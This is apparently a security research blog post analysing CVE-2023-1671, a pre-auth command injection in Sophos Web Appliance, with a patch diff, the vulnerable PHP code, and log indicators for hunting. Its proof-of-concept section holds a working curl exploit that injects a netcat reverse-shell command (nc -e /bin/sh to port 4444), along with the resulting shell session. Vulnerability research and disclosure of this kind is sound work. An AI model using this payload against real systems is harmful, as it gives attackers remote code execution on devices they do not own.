On April 4, 2023, Sophos published a security advisory1 for their Web Appliance product. The advisory includes information on CVE-2023-1671, a critical vulnerability in versions prior to 4.3.10.4:
A pre-auth command injection vulnerability in the warn-proceed handler allowing execution of arbitrary code was discovered and responsibly disclosed to Sophos by an external security researcher via the Sophos bug bounty program.
Given the initial access nature of the vulnerability, VulnCheck decided to investigate.
BLUF: Mass Exploitation Unlikely
The notes in the advisory detail the caveats quite well:
- End of Life date for Sophos Web Appliance is on July 20, 2023
- Sophos recommends that Sophos Web Appliance is protected by a firewall and not accessible via the public Internet
- There is no action required for Sophos Web Appliance customers, as updates are installed automatically by default
Consequently, exploitation at scale is highly unlikely.
Analyzing the Patch
--- unpatched/opt/ws/bin/ftsblistpack 2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
close($flag);
- $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+ $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
}
exit $rc;
Note the single-quoted arguments to the shell command in the unpatched code. This will be important later. Tracing from sink to source, we can see that
if($_GET['action'] == 'continue') {
if(strlen(trim($_POST['user'])) > 0)
$user = base64_decode($_POST['user_encoded']);
else
$user = $_POST['client-ip'];
if($user == '-') $user = $_POST['client-ip'];
$user = escapeshellarg($user);
//snip
// use sblistpack to allow access
if($_POST['args_reason'] == 'filetypewarn') {
$key = $_POST['url'];
$packer = '/opt/ws/bin/ftsblistpack';
$value = $_POST['filetype'];
}
else {
$key = $_POST['domain'];
$packer = '/opt/ws/bin/sblistpack';
$catParts = explode("|",$_POST['raw_category_id']);
$value = $catParts[0];
}
$key = escapeshellarg($key);
$value = escapeshellarg($value);
$this->log->write("DEBUG","cmd = '$packer $key $user $value'");
$result = shell_exec("$packer $key $user $value 2>&1");
Note that user-controlled input is still processed through PHP's
Developing an RCE PoC
Exploitation is relatively straightforward.
wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
How exactly the command injection works is perhaps best illustrated by the following
[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0
When
wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$
Insert Spider-Man Pointing meme.
Hunting for IOCs
A single line is appended to the
192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"
It isn't much, but it's something to look for when hunting for exploitation. Note that writing the log entry may block on command execution. Additionally, the previous